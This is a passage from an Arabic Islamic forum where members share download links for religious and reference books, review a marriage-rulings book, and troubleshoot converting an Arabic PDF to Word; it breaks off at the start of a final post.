الحمد لله رب العالمين، القائل: {وَمِنْ آَيَاتِهِ أَنْ خَلَقَ لَكُمْ مِنْ أَنْفُسِكُمْ أَزْوَاجًا لِتَسْكُنُوا إِلَيْهَا وَجَعَلَ بَيْنَكُمْ مَوَدَّةً وَرَحْمَةً إِنَّ فِي ذَلِكَ لَآَيَاتٍ لِقَوْمٍ يَتَفَكَّرُونَ (21) [الروم/21]
والصلاة والسلام على سيد الأنبياء والمرسلين، القائل:" ... وَاللَّهِ إِنِّى لأَخْشَاكُمْ لِلَّهِ وَأَتْقَاكُمْ لَهُ، لَكِنِّى أَصُومُ وَأُفْطِرُ، وَأُصَلِّى وَأَرْقُدُ وَأَتَزَوَّجُ النِّسَاءَ، فَمَنْ رَغِبَ عَنْ سُنَّتِى فَلَيْسَ مِنِّى " صحيح البخارى (5063).
وعلى آله وصحبه أجمعين، ومن تبعهم بإحسان إلى يوم الدين.
أما بعد:
فإني قد اطلعت على هذا الكتاب بشكل سريع،لمؤلفه (مجدي بن منصور بن سيد الشورى) فوجدته بشكل عام كتاباً نافعاً، وقد تضمن الموضوعات التالية:
ـ الرؤية الشرعية وأحكامها (قبل الزواج).
ـ ماذا يحل للخاطب من خطيبته.
ـ ماذا يحل للخاطب بعد عقد النكاح.
ـ أحكام الزفاف:
ـ بحث فى أحكام الخلع.
ـ بحث فى أحكام الزواج العرفى.
ـ وصايا للبيت السعيد.
ـ حق الزوجة.
ـ حق الزوج.
ـ سلوكيات للزوجين.
ـ أحكام الجماع وكيفية بدء ليلة الزفاف.
ـ تحريم جماع الدبر والحيض.
ـ علاج سرعة القذف.
ـ فوائد الجنس ومضاره.
ـ حكم العزل.
ـ علاج الربط ليلة الزفاف.
وتحت كل موضوع منها مباحث عديدة ...
وقد سبقه لهذا الموضوع الشيخ محمود مهدي الاستانبولي - رحمه الله - في كتابه القيِّم تحفة العروس- أو الزواج الإسلامي السعيد -، فقد تحدَّث عن العلاقة الخاصة بين الزوج والزوجة بشكل مفصل، ولكن هذا الكتاب (تحفة العروسين) زاد أشياء عديدة، هذا وقد تحدثت عن هذه الأشياء في كتابي ((الفتاوى المعاصرة في الحياة الزوجية)) ولكن دون الدخول في بعض التفاصيل التي ذكرها الأخير حول كيفيات الجماع ....
وأما ملاحظاتي على الكتاب فثلاثة أنواع:
الأولى - تنسيق الكتاب غير جيد،وكل من أنزل الكتاب يعلم ذلك.
حتى الطبعة التي في مكتبة صيد الفوائد وهي أصلح من هذه بكثير، فالفهرس لا يتطابق مع الصفحات في كليهما
الثانية- يوجد فيه بعض التكرار، وبعض الأخطاء المطبعية في كليهما.
الثالثة - فيه بعض الآراء الضعيفة والميل للتساهل أحياناً كقراءة القرآن للجنب وتحديد النسل ..
-----------------
وأما عملي في هذا الكتاب فهو:
أولا- تنسيقه بشكل مقبول، أفضل من الطبعتين.
ثانيا- إصلاح بعض الأخطاء المطبعية، وليس كلها.
ثالثاً- التعقيب عليه في بعض المواضع التي رأيت أنه جانب الصواب فيها، في الهامش، وذكرت عقبها اسمي (علي) للتمييز
رابعاً - فهرسة الكتاب على الورد، فكأنه أصبح كتابا إلكترونياً، حيث تضع الماوس على أي عنوان بالفهرس، وتنقر على كونترول فيأخذك للعنوان مباشرة مهما كان حجم الكتاب.
خامسا- قمت بوضعه في الشاملة لزيادة الفائدة وفهرست العناوين الرئيسة.
سائلاً المولى أن ينفع به كاتبه ومنسقه وناشره والدال عليه في الدارين.
الباحث في القرآن والسنة
علي بن نايف الشحود
في 14رمضان 1429هـ الموافق ل 14/ 9/2008م
ـ[أبو أكرم الحلبي]ــــــــ[14 - 09 - 08, 12:32 م]ـ
جزاكم الله خيراً وللشيخ محمود مهدي استنابولي كتاب له نفس الاسم
تقبل الله صيامكم
ـ[علي الفضلي]ــــــــ[14 - 09 - 08, 02:50 م]ـ
جزاكم الله خيراً وللشيخ محمود مهدي استنابولي كتاب له نفس الاسم
تقبل الله صيامكم
بارك الله فيكم أخي عليا.
أخي أبا أكرم: ألا قرأت مشاركة الأخ!!:
وقد سبقه لهذا الموضوع الشيخ محمود مهدي الاستانبولي - رحمه الله - في كتابه القيِّم تحفة العروس- أو الزواج الإسلامي السعيد -، فقد تحدَّث عن العلاقة الخاصة بين الزوج والزوجة بشكل مفصل
ـ[أبو أكرم الحلبي]ــــــــ[14 - 09 - 08, 03:35 م]ـ
أخي أبا أكرم: ألا قرأت مشاركة الأخ!!:
جزاكم الله خيراً أخي الحبيب
نعم قرأتها، وشكراً لكم
ـ[أبو عبد الله السني]ــــــــ[14 - 09 - 08, 11:48 م]ـ
بارك الله فيكم يا شيخ علي
بارك الله فيكم يا شيخ علي
بارك الله فيكم يا شيخ علي
بارك الله فيكم يا شيخ علي
بارك الله فيكم يا شيخ علي
بارك الله فيكم يا شيخ علي
ـ[علي 56]ــــــــ[15 - 09 - 08, 01:00 ص]ـ
بارك الله بكم جميعاً(61/193)
أرجو المساعدة. كتاب التعريف والإعلام فيما أبهم من الأسام والأعلام للسهيلي.
ـ[بو إبراهيم الذهبي]ــــــــ[14 - 09 - 08, 10:48 ص]ـ
أخواني الكرام أرجو مساعدتي في هذا الطلب
أريد كتاب التعريف والإعلام بمن أبهم في القرآن من الأسماء والأعلام.
وورد أو بي دي أف.
جزاكم الله خيرا.
ـ[عبد الله الكتبي]ــــــــ[15 - 03 - 09, 07:43 ص]ـ
من له؟؟؟؟؟؟(61/194)
كتاب الأعلام وملحقاته ومستدركاته Pdf مفهرساً بالكامل
ـ[المطلبي]ــــــــ[14 - 09 - 08, 11:41 ص]ـ
لا يخفى عليكم مدى صعوبة البحث عن التراجم في كتاب مصور بهذا الحجم
تم بحمد الله وضع فهارس لكامل الكتاب وملحقاته ومستدركاته
(مجموعة الأعلام)
1 - الأعلام
2 - إتمام الأعلام
3 - الإعلام بتصحيح كتاب الأعلام
4 - المستدرك على تتمة الأعلام
5 - تتمة الأعلام للزكلي يليه المستدرك الأول والثاني
6 - ذيل الأعلام
7 - نظرات في كتاب الأعلام
حيث تم إضافة آلاف الأسماء للمترجم لهم، كلٌ في موضعه
ونسأل الله أن نكون قد يسرنا هذا الكتاب للباحثين
الحجم الإجمالي: 196 ميجا
صفحة الكتاب:
http://www.archive.org/details/alaam2alaam2
ـ[حمود بن يحيى]ــــــــ[14 - 09 - 08, 12:12 م]ـ
جزاكم الله خيرًا ... عمل جبار ..
ـ[شتا العربي]ــــــــ[14 - 09 - 08, 12:26 م]ـ
جزاكم الله خير الجزاء وبارك فيكم وأورثكم الفردوس الأعلى وجعلكم من عتقائه من النار في هذا الشهر الكريم
سؤال لو تكرمتم: عندي مجموعة الأعلام سبق وحملتها وحجمها 300 ميجا
والحجم الذي تفضلتم به أقل فهل هو نفسه لكن بحجم أقل؟
وجزاكم الله خيرا
ـ[المطلبي]ــــــــ[14 - 09 - 08, 12:37 م]ـ
جزاكم الله خير الجزاء وبارك فيكم وأورثكم الفردوس الأعلى وجعلكم من عتقائه من النار في هذا الشهر الكريم
سؤال لو تكرمتم: عندي مجموعة الأعلام سبق وحملتها وحجمها 300 ميجا
والحجم الذي تفضلتم به أقل فهل هو نفسه لكن بحجم أقل؟
وجزاكم الله خيرا
كانت هناك نسخة رفعها الأخ حسام الزهري (مصورة من الطبعة الخامسة على ما أذكر) وكانت ناقصة
فلعلك خلطت بين هذه وتلك في مجلد واحد
والله أعلم
في كل الأحوال:
النسخة هذه تغنيك عن كل ما سبق
والله أعلم
ـ[شتا العربي]ــــــــ[14 - 09 - 08, 12:57 م]ـ
جزاكم الله خير الجزاء وبارك فيكم وأثابكم عني خيرا كثيرا
ـ[أبويعلى البيضاوي]ــــــــ[14 - 09 - 08, 02:08 م]ـ
جزاكم الله خير الجزاء وبارك فيكم
ـ[أبو مازن العوضي]ــــــــ[14 - 09 - 08, 03:38 م]ـ
شكر الله سعيك
ـ[أبو مازن العوضي]ــــــــ[14 - 09 - 08, 03:50 م]ـ
معذرة يا أخانا المطلبي الملف الثالث الذي هو بحجم 14 ميجا معطوب، لو راجعته وجزاك الله خيرا
ـ[أبو مازن العوضي]ــــــــ[14 - 09 - 08, 04:09 م]ـ
تم تحميله بعد التكرار وشكرا
ـ[أبو محمد المرقال]ــــــــ[14 - 09 - 08, 06:35 م]ـ
السلام عليكم ورحمة الله وبركاته
عودا حميدا أحي الفاضل (المطلبي) وأرجو أن تكون في صحة وعافية وطاعة لله تعالى!
لقد افتقدنا وجودك هاهنا .. ولا غرو فأنت الجواد الكريم الحريص على نفع إخوانه!
بارك الله فيك وأحسن إليك ووفقك أيها الفاضل!(61/195)
حَمِّلْ: «فَوْحُ الْعِطْرِ بِمُخْتَصَرِ أحْكَامِ زَكَاةِ الْفِطْرِ» pdf
ـ[أبو رقية الذهبي]ــــــــ[14 - 09 - 08, 12:45 م]ـ
السلام عليكم ورحمة الله وبركاته
الحمد لله، والصلاة والسلام على رسول الله، وعلى آله وصحبه ومن والاه، وعلى من اقتفى أثره واهتدى بهداه؛ ثم أما بعد:
فهذه رسالة «فَوْحُ الْعِطْرِ بِمُخْتَصَرِ أحْكَامِ زَكَاةِ الْفِطْرِ»؛ كنت قد جهزتُها لتكونَ على هيئةِ (مَطْوِيَّة)؛ وذلك لتسهل قراءتها، وتوزيعها على الناس. فأحببت أن أنشرها على إخواني في هذا المنتدى المبارك؛ لِيَعُمَّ الخيرُ، ولِيُشارِكَني إخواني في أجر نشرها.
? وتحتوي الرسالة على المباحث التالية:
1 - الحِكمة من زكاة الفطر.
2 - حكم زكاة الفطر.
3 - وقت إخراج زكاة الفطر.
4 - مصارف زكاة الفطر.
5 - أصناف زكاة الفطر.
6 - مقدار زكاة الفطر.
7 - حكم إخراج زكاة الفطر قيمة
فأسأل الله عز وجل أن ينفعني بها يوم ألقاه
{يَوْمَ لاَ يَنْفَعُ مَالٌ وَلاَ بَنُونَ إِلاَّ مَنْ أتَى اللهَ بِقَلْبٍ سَلِيمٍ}
روابط تحميل الرسالة
((في المرفقات))
أو من هنا http://www.islamup.com/view.php?file=3cc515188d (http://www.islamup.com/view.php?file=3cc515188d)
أو من هنا http://www.2shared.com/file/3927359/dcf5ed13/AhkamuZakatelfetre.html (http://www.2shared.com/file/3927359/dcf5ed13/AhkamuZakatelfetre.html)
أو من هنا http://www.zshare.net/download/18747201287e5d71/ (http://www.zshare.net/download/18747201287e5d71/)
أو من هنا http://rapidshare.com/files/145141249/AhkamuZakatelfetre.rar.html (http://rapidshare.com/files/145141249/AhkamuZakatelfetre.rar.html)
? كيف تُطْبَعُ ورقات هذه الرسالة على هيئة (مطوية)؟:
الأمر ببساطة؛ أن تجهز الطابعة عندك لتطبع على الجانبين يدويًا، ثم تختار أمر طباعة الكراسات ( A4 طي من اليمين)، ثم تُدخِلُ ورقةً عادية بحجم ( A4) = ( عرض21 × ارتفاع29.7) في طابعتك، ثم تعطي أمر الطباعة. وعندما تنتهي الطابعة من طباعة الوجه الأول (=الورقة رقم 2، 3)؛ يطلب منك برنامج الطابعة وضع (نفس) الورقة فيها ثانية على نفس الهيئة التي خرجت بها من الطابعة أول مرة بعد طباعة الوجه الأول؛ فتفعل ذلك، ثم تعطي أمر طباعة؛ فتطبع الوجه الثاني (=الورقة رقم 1، 4).
وبهذا تكون الرسالة قد طُبِعَتْ على هيئة مطوية (= ورقة واحدة ذات أوجه أربعة).
• ملحوظة:
هذه الطريقة تسري على الطابعات الليزر نوع ( hp)، فئة (1018)، (1020) ومثيلاتها من التي تحتوي على خاصية طباعة الكراسات. وقد يكون لغير هذا النوع آلية مشابهة لما ذكرناه عن هذا النوع؛ فالله أعلم.
لا تنسوني من صالح دعائكم
وانتظروا قريبًا إن شاء الله
(رسالة)
«الإتْحَافُ بِمُخْتَصَرِ أَحْكَامِ الاعْتِكَافِ»
ـ[أبو مازن العوضي]ــــــــ[14 - 09 - 08, 03:39 م]ـ
شكر الله سعيك
ـ[أبو رقية الذهبي]ــــــــ[15 - 09 - 08, 05:17 ص]ـ
شكر الله سعيك
بارك الله فيكم، وجزيتم خيرًا على مروركم الكريم
ـ[أبو رقية الذهبي]ــــــــ[15 - 09 - 08, 07:21 م]ـ
للرفع والإفادة
لا تفوتكم(61/196)
طلب مساعدة تحويل ملف pdf أصله وورد إلى word
ـ[الطيماوي]ــــــــ[14 - 09 - 08, 12:46 م]ـ
الملف ليس أصله مصور وإنما وورد وقد حاولت جاهدا النسخ منه أو حتى حفظه كملف وورد لكن في كل مرة بيخرج على شكل مربعات الكلام
فأتمنى ارشادي لبرنامج مختص أو أن يقوم احد الاخوة بأخذ الملف والتجربة عليه فإن أفلح فليخبرنا بالطريقة وبارك الله فيكم.
الملف مرفق في المرفقات
ـ[أبوعمرو المصري]ــــــــ[14 - 09 - 08, 04:58 م]ـ
جربته والنتيجة نفسها خرجت معي أشكال نجوم ولا يوجد ولا كلمة، كنت أتمنى المساعدة.
ـ[مختار الديرة]ــــــــ[14 - 09 - 08, 05:28 م]ـ
لايوجد برنامج يحول الأكروبات ريدر لوورد يدعم اللغة العربية و تكون نتائجه ممتازة و لا جيد جدا
ـ[عمر الدراوى]ــــــــ[14 - 09 - 08, 05:44 م]ـ
أعطانى أحد الأخوة برنامج ولكن لم أجربه بعد
جارى التجريب والرد بإذن الله تعالى
ـ[الطيماوي]ــــــــ[15 - 09 - 08, 10:53 م]ـ
بانتظار ردك أخي ومساعدة الاخوة عسى أن نجد حلا لمثل هذا الأمر
ـ[البشير الزيتوني]ــــــــ[16 - 09 - 08, 12:43 م]ـ
بسم الله الرحمن الرحيم
وجدت الآن طريقة على الرابط التالي، أرجو أن تحل المشكلة، وإذا لم تنفعك فربما تهديك، أو تهدي أحد الأذكياء المبدعين، إلى فكرة أخرى بناءً عليها تحل المشكلة، وفقك الله، ويسَّر لك كل عسير.
طريقة تحويل ملفات PDF إلى DOC من دون برامج
http://www.absba.org/vb/showthread.php?t=688952&highlight=office
ـ[الطيماوي]ــــــــ[16 - 09 - 08, 06:38 م]ـ
بسم الله الرحمن الرحيم
وجدت الآن طريقة على الرابط التالي، أرجو أن تحل المشكلة، وإذا لم تنفعك فربما تهديك، أو تهدي أحد الأذكياء المبدعين، إلى فكرة أخرى بناءً عليها تحل المشكلة، وفقك الله، ويسَّر لك كل عسير.
طريقة تحويل ملفات PDF إلى DOC من دون برامج
http://www.absba.org/vb/showthread.php?t=688952&highlight=office
فعلت كما هو مذكور وهذه هي النتيجة
3 ‘- -‘-- j9Jj
L4J. .
J LLJ
Ji JJ
L4.LU T •
L3Ji LLi
;
U9 ‘i)--L-i 9- -‘ ‘“ c—)-’. JI .JL4,U LL.
JZ •L”
.
•
4- i--t 4I LLU &L4
J,.. J afl
-
<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:p> </o:p>
ـ[المستهدي]ــــــــ[17 - 09 - 08, 01:11 ص]ـ
أخي الطيماوي المشكلة كما أعتقد في الخط الذي كتب فيه الملف
ولعل مصداق ذلك أنك لو حاولت نسخ كلمة "الإجهاد" و "العمر (يوم)، الموجودتان في الصفحة 38 بحسب ترقيم البرنامج لنجح الامر وقد كتبتا بخط مغاير.
عادة ينجح معي الأمر بطريقة بسيطة جداً دون أية برامج وذلك عبر نسخ النص الهدف ولصقه في برنامج المفكرة حصراً "مفكرة الويندوز"
وتكون النتائج مرضية جداً ....... ولكن مع هذا الملف لم ينجح الأمر للأسف ...
ـ[حسام الدين قاسم]ــــــــ[17 - 09 - 08, 01:42 ص]ـ
السلام عليكم ورحمة الله وبركاته
الملف لا يقوم بالتحميل فأرجو إرساله على إيميلي حيث أن هذا الأمر حدث كثيرا في مكتبي وقام أخ بتصليحه كما كان
والله المستعان
مكتب الحسام لصف وتنسيق الكتب
maktab_alhosam@Yahoo.com
ـ[الطيماوي]ــــــــ[17 - 09 - 08, 01:59 ص]ـ
أخي الطيماوي المشكلة كما أعتقد في الخط الذي كتب فيه الملف
ولعل مصداق ذلك أنك لو حاولت نسخ كلمة "الإجهاد" و "العمر (يوم)، الموجودتان في الصفحة 38 بحسب ترقيم البرنامج لنجح الامر وقد كتبتا بخط مغاير.
عادة ينجح معي الأمر بطريقة بسيطة جداً دون أية برامج وذلك عبر نسخ النص الهدف ولصقه في برنامج المفكرة حصراً "مفكرة الويندوز"
وتكون النتائج مرضية جداً ....... ولكن مع هذا الملف لم ينجح الأمر للأسف ...
نعم أخي الكريم المشكلة في الخط كما يبدو وقد وقفت على اسماء الخطوط المستخدمة من خلال برنامج الأكروبات في السيكيورتي الخاص بالملف وحملتها من النت على جهازي لكن للأسف أيضا لم يفلح الأمر.
فهل بامكان احد الاخوة المساعدة وبارك الله فيكم.
ـ[عمر الدراوى]ــــــــ[18 - 09 - 08, 05:50 ص]ـ
بانتظار ردك أخي ومساعدة الاخوة عسى أن نجد حلا لمثل هذا الأمر
أعتذر أخى لم يفلح معى
ـ[محمد فكرى الدراوى]ــــــــ[31 - 10 - 10, 11:18 م]ـ
وانا ايضا معى برنامج اخر ولم يفلح معى
(يُتْبَع .. اقلب الصفحة)
(61/197)
الرجا من الاخوة اللى عنده برنامج تحويل جيد ان يدلنا عليه لاننا فى امس الحاجة اليه وله الاجر والثواب من المولى عز وجل
ـ[علي معاز]ــــــــ[01 - 11 - 10, 11:00 ص]ـ
السلام عليكم
هذه الصفحة الأولى عن طريق برنامج القارئ الألى صخر
أعتقد أنها مقبولة جدا إن كان الأمر مهما
ملحوظة: لم أقم بأي تصحيح في الناتج إنما هو الناتج الأولي،
الكلمات التي تحتاج إلى تصحيح كثيرة ميزت مثالا منها " صاحبه" أصلها صحبه .. و "الجاد" أصلها إيجاد .... فقط للتوضيح
هذا إن كان أحد يهتم، فيبدوا أن الموضوع قديم جدا ....
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
الحمد لله وحده، والصلاة والسلام على من لا نبي بعده، محمد وعلى آله وصاحبه، وبعد:
تسعى المؤسسة العامة للتعليم الفني والتدريب المهني لتأهيل الكوادر الوطنية المدربة القادرة على
شغل الوظائف التقنية والفنية والمهنية المتوفرة في سوق العمل، ويأتي هذا الاهتمام نتيجة للتوجهات السديدة من لدن قادة هذا الوطن التي تصب في مجملها نحو الجاد وطن متكامل يعتمد ذاتيا على موارده وعلى قوة شبابه المسلح بالعلم والإيمان من أجل الاستمرار قدما في دفع عجلة التقدم التنموي: لتصل بعون الله تعالى لمصاف الدول المتقدمة صمناعيا.
وقد خطت الإدارة العامة لتصميم وتطوير المناهج خطوة الجارية تتفق مع التجارب الدولية المتقدمة
في بناء البرامج التدريبية، وفق أساليب علمية حديثة تحاكي متطلبات سوق العمل بكافة تخصصاته لتلبي متطلباته، وقد تمثلت هذه الخطوة في مشروع إعداد المعايير المهنية الوطنية الذي يمثل الركيزة
الأساسية في بناء البرامج التدريبية، إذ تعتمد المعاييرفي بنائها على تشكيل لجان تخصصية تمثل سوق العمل والمؤسسة العامة للتعليم الفني والتدريب المهني بحيث تتوافق الرؤية العلمية مع الواقع العملي الذي تضرضمه متطلبات سوق العمل، لتضرج هذه اللجان في النهاية بنظرة متكاملة لبرنامج تدريبي أكثر
التصاقا بسوق العمل، وأكثر واقعية في تحقيق متطلباته الأساسية.
وتتناول هذه الحقيبة التدريبية " خواص واختبارات المواد " لمتدربي قسم " تقنية مدنية " للكليات
التقنية موضكوعات حيوية تتناول كيفية اكتساب المهارات اللازمة ل! + ا التخصص.
والإدارة العامة لتصميم وتطوير المناهج وهي تضع بين يديك هذه الحقيبة التدريبية تأمل من الله عز
وجل أن تسهم بشكل مباشر في تأصيل المهارات الضرورية اللازمة، بأسلوب مبسط يخلو من التعقيد، وبالاستعانة بالتطبيقات والأشد ال التي تدعم عملية اكتساب هذه المهارات.
والله نسأل أن يوفق القائمين على إعدادها والمستفيدين منها لما يحبه ويرضماه: إنه سميع مجيب
الدعاء.
الإدارة العامة لتصميم وتطوير المناهج
""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""(61/198)
رمضانيات المساهم (13): مضمون القرآن في قضايا الإيمان والنبوة و .. .. (لأول مرة) Pdf
ـ[المساهم]ــــــــ[14 - 09 - 08, 02:52 م]ـ
في البداية نعتذر عن التأخر وذلك نظرا لظروف والسفر وأشكر كم من سأل عنا من الأعضاء في الغياب
ونكمل ما بدأنها من هذه السلسلة
الكتاب الثالث عشر
مضمون القرآن الكريم في قضايا
الإيمان والنبوة والأخلاق والكون
تأليف
د. محمد عبد الهادي أبو ريدة
الكتاب ضمن سلسلة قاموس القرآن الكريم
التحميل
archive (http://www.archive.org/details/madmn) أو adrive (http://www.adrive.com/public/e6dbccb997f503f8f1972ca39145a98d97ada266df49947c67 413797ea2ea3b0.html)
بطاقة الكتاب
العنوان: مضمون القرآن الكريم في قضايا الإيمان والنبوة والأخلاق والكون.
المؤلف: د. محمد عبد الهادي أبو ريدة.
دار النشر: مؤسسة الكويت للتقدم العلمي.
سنة الطبع: الطبعة الثانية (1418هـ / 1997م).
نوع التغليف: مجلد لطيف (182 صفحة)
ـ[إبراهيم أمين]ــــــــ[14 - 09 - 08, 06:34 م]ـ
أصلح الله حالك وبارك فيك(61/199)
حمل:رسالة في تكفير الروافض للعلامة ابن كمال باشا / بدف / وورد باشا رحمه الله
ـ[أبويعلى البيضاوي]ــــــــ[14 - 09 - 08, 03:02 م]ـ
السلام عليكم ورحمة الله وبركاته
هذه رسالة في تكفير الروافض للعلامة ابن كمال باشا رحمه الله حققها الدكتور سيد باغجوان على اربع نسخ خطية
قمت بتصويرها ثم حولتها ونسقتها الى ملف وورد
اسال الله ان ينفع بها امين
http://www.archive.org/download/fatwarafida_461/fatwarafida.pdf
ـ[أبو مازن العوضي]ــــــــ[14 - 09 - 08, 03:32 م]ـ
شكرا لك لكن رابط بي دي اف معطوب
ـ[الديولي]ــــــــ[14 - 09 - 08, 03:35 م]ـ
http://www.ahlalhdeeth.com/vb/showthread.php?t=109398
ـ[أبويعلى البيضاوي]ــــــــ[14 - 09 - 08, 04:25 م]ـ
الرابط صحيح فقد جربته فتم التحميل ولله الحمد
فحاول مرة اخرى
ـ[أبو عبد الرحمن السبيلي]ــــــــ[14 - 09 - 08, 05:06 م]ـ
راآبط آخر
http://www.files-up.com/files/ralpat6k6of9q8/fatwarafida.rar
ـ[شتا العربي]ــــــــ[14 - 09 - 08, 05:14 م]ـ
جزاكم الله خيرا وبارك فيكم وجعلكم الله من عتقائه من النار
ـ[عبد الرحمن أبو عبد الله]ــــــــ[14 - 09 - 08, 05:50 م]ـ
جزاكم الله خيرا(61/200)
رمضانيات المساهم (14): إعجاز القرآن الكريم عند شيخ الإسلام ابن تيمية (لأول مرة) Pdf
ـ[المساهم]ــــــــ[14 - 09 - 08, 03:14 م]ـ
الكتاب الرابع عشر
إعجاز القرآن الكريم عند شيخ الإسلام ابن تيمية
مع المقارنة بكتاب إعجاز القرآن للباقلاني
تأليف
د. محمد بن عبد العزيز العواجي
(رسالة ماجستير)
التحميل
archive (http://www.archive.org/details/e3jaz) أو adrive (http://www.adrive.com/public/5f48a829601d8f335d57c15ca60b346fb3b27e8c6a189d52fa 216f5f7f1bf3ab.html)
بطاقة الكتاب
العنوان: إعجاز القرآن الكريم عند شيخ الإسلام ابن تيمية مع المقارنة بكتاب إعجاز القرآن للباقلاني.
المؤلف: د. محمد بن عبد العزيز العواجي.
دار النشر: مكتبة دار المنهاج.
سنة الطبع: الطبعة الأولى (1427هـ).
نوع التغليف: مجلد (466 صفحة)
ـ[إبراهيم أمين]ــــــــ[14 - 09 - 08, 06:33 م]ـ
أصلح الله حالك وبارك فيك(61/201)
أرجو إرشادي إلى أفضل المكتبات لنشر كتاب
ـ[احمد الجرابلسي]ــــــــ[14 - 09 - 08, 03:14 م]ـ
أرجو إرشادي إلى أفضل المكتبات لنشر كتاب مخطوط قمت بتحقيقه خلال السنوات الأربع الماضية
ـ[أبو زارع المدني]ــــــــ[14 - 09 - 08, 05:56 م]ـ
دار طيبه إخراجها للكتب طيب ومناسب
ـ[أبو يحيي المصري]ــــــــ[15 - 10 - 09, 07:45 ص]ـ
أخي الكريم
علمتُ من مشاركة أخري لك أن الكتاب هو فتاوي الإمام الأذرعي
ما رأيك أن تصير مختصا بالأذرعي؟
هل تعمل علي قوت المحتاج أو غنية المحتاج للأذرعي فهذان الكتابان جليلان وبدار الكتب المصرية نسخ لهما
وجزاكم الله خيرا(61/202)
من يتكرم علينا بروابط؛ رجال الألباني في كتبه، وهل هى توجد للشاملة؟. رجاء المساعدة.
ـ[يونس1]ــــــــ[14 - 09 - 08, 03:34 م]ـ
برجال تنزيل روابط رجال الألباني، وهل هي موجودة للشاملة.
ـ[أم صفية وفريدة]ــــــــ[14 - 09 - 08, 09:46 م]ـ
عفوًا
مااسم الكتاب بالضبط؟؟
ـ[أسامة بن الزهراء]ــــــــ[14 - 09 - 08, 10:19 م]ـ
برجال تنزيل روابط رجال الألباني، وهل هي موجودة للشاملة.
هل تقصد: معجم أسامي الرواة الذين ترجم لهم العلامة الألباني جرحا وتعديلا؟!
ـ[يونس1]ــــــــ[14 - 09 - 08, 11:06 م]ـ
معجم أسامي الرواة الذين ترجم لهم العلامة الألباني جرحا وتعديلا >
نعم ها هو ذاك.
هل يوجد للشاملة؟
ـ[يونس1]ــــــــ[14 - 09 - 08, 11:09 م]ـ
نعم ها هو ذاك.
معجم أسامي الرواة الذين ترجم لهم العلامة الألباني جرحا وتعديلا.
هل هو موجود للشاملة؟
ـ[احمد الكويتى]ــــــــ[24 - 10 - 08, 12:58 ص]ـ
انه غير متوفر للشاملة ولكنه موجود بصيغة bdf وهذا هوا الرابط http://www.ahlalhdeeth.com/vb/showthread.php?t=148447
وهوا من رفع اخينا اسامة بن الزهراء.
ـ[احمد الكويتى]ــــــــ[24 - 10 - 08, 01:50 ص]ـ
وانظر ايضاً فى هذا الموضوع لعلك تستفاد منه. http://www.ahlalhdeeth.com/vb/showthread.php?t=33261
وهوا من مجهود اخينا الطيماوى.
ـ[يونس1]ــــــــ[06 - 10 - 09, 04:18 ص]ـ
بارك الله فيك أخي أحمد الكويتي.
ونفع المسلمين بك.(61/203)
إعادة رفع: كتاب المعرب للجواليقي بعد تنسيقه وفهرسته
ـ[المساهم]ــــــــ[14 - 09 - 08, 03:47 م]ـ
بسم الله الرحمن الرحيم
هذا الكتاب لطالما رغب فيه كثير من الأخوة وكان أود أن أرفعه بناء عللى ترشيح الأخوة، ولكن الأخ/ أحمد عبد السلام العبادي تفضل مشكورا مأجورا بتصويره ورفعه في هذا المنتدى المبارك، فكفانا مؤنة تصويره ورفعه، ولكني قمت بتجمع الأجزاء المتفرقة وتنسيقها وفهرستها ورفعها من جديد حتى تعم الفائدة منها
التحميل
archive (http://www.archive.org/details/mo3rb) أو adrive (http://www.adrive.com/public/d55537cbd36c7d57b7c695c00d327fe25ee962323d6f9ffe6c b8ad35731e504e.html)
بطاقة الكتاب
العنوان: المعرب من الكلام الأعجمي على حروف المعجم.
المؤلف: أبو منصور الجواليقي.
تحقيق وتعليق: أحمد محمد شاكر.
دار النشر: مطبعة دار الكتب.
سنة الطبع: الطبعة الثانية (1389هـ / 1969م).
نوع التغليف: مجلد (504 صفحة).
ـ[عبد الرحمن أبو عبد الله]ــــــــ[14 - 09 - 08, 05:48 م]ـ
بارك الله فيك
ـ[أبو أكرم الحلبي]ــــــــ[14 - 09 - 08, 08:21 م]ـ
جزيت ووالديك الفردوس الأعلى
أسأل الله أن يرفع قدرك في الدارين
وهذا رابط مباشر للكتاب
http://ia311241.us.archive.org/3/items/mo3rb/mo3rb.pdf
تقبل الله صيامكم
ـ[النصري]ــــــــ[14 - 09 - 08, 10:19 م]ـ
السلام عليكم جعلك الله مساهما في كل خير
ـ[أحمد عبدالسلام العمادي]ــــــــ[15 - 09 - 08, 02:05 ص]ـ
جزاكم الله خيراً ولكن للإفادة أنا العمادي ولست العبادي:)
ـ[حسين بن حيدر]ــــــــ[03 - 12 - 09, 01:29 م]ـ
إضافة معلومة /كتاب المعرب هذا كان الدكتور (ف عبد الرحيم الهندي) المدرس في الجامعة الإسلامية في المدينة المنورة قد حققه وطبعه وأضاف إليه إضافات ليست في تحقيق شاكر ..
ـ[أحمد عبدالسلام العمادي]ــــــــ[03 - 12 - 09, 04:01 م]ـ
جزاك الله خيراً أخي حسين بن حيدر
لقد التزم الدكتور/ ف. عبدالرحيم نص الكتاب الذي حققه الشيخ أحمد محمد شاكر، وما أضافه الدكتور هو إرجاع الكلمات المعربة إلى أصولها، وهو متمكن في هذا المجال، وقد اطلعت على تحقيقه فقد بذل فيه جهداً كبيراً
ـ[الدكتور مروان]ــــــــ[03 - 12 - 09, 04:43 م]ـ
إضافة معلومة /كتاب المعرب هذا كان الدكتور (ف عبد الرحيم الهندي) المدرس في الجامعة الإسلامية في المدينة المنورة قد حققه وطبعه وأضاف إليه إضافات ليست في تحقيق شاكر ..
وهذه هي الطبعة الجيدة
وهذا الكتاب يحتاج إلى من يتقن اللغات
وخاصة الأوردو، وهذا ماتوفر للدكتور عبد الرحيم
وجزاكم الله خيرا
ـ[أبو مالك العوضي]ــــــــ[21 - 12 - 09, 12:24 م]ـ
حمل طبعة الدكتور ف عبد الرحيم من هنا:
http://ia341326.us.archive.org/3/items/almo3rab_gwaliqy_f_abduraheem/almo3rab-gwaliqy-f-abdulraheem.pdf
ومن هنا:
http://www.4shared.com/file/177903231/66e8cad9/almo3rab-gwaliqy-f-abdulraheem.html
ـ[حسين بن حيدر]ــــــــ[21 - 12 - 09, 10:22 م]ـ
أحسنتم
بارك الله فيكم(61/204)
كتاب الإرشاد للجويني للتحميل (مصور)
ـ[زوجة وأم]ــــــــ[14 - 09 - 08, 05:35 م]ـ
السلام عليكم
كتاب
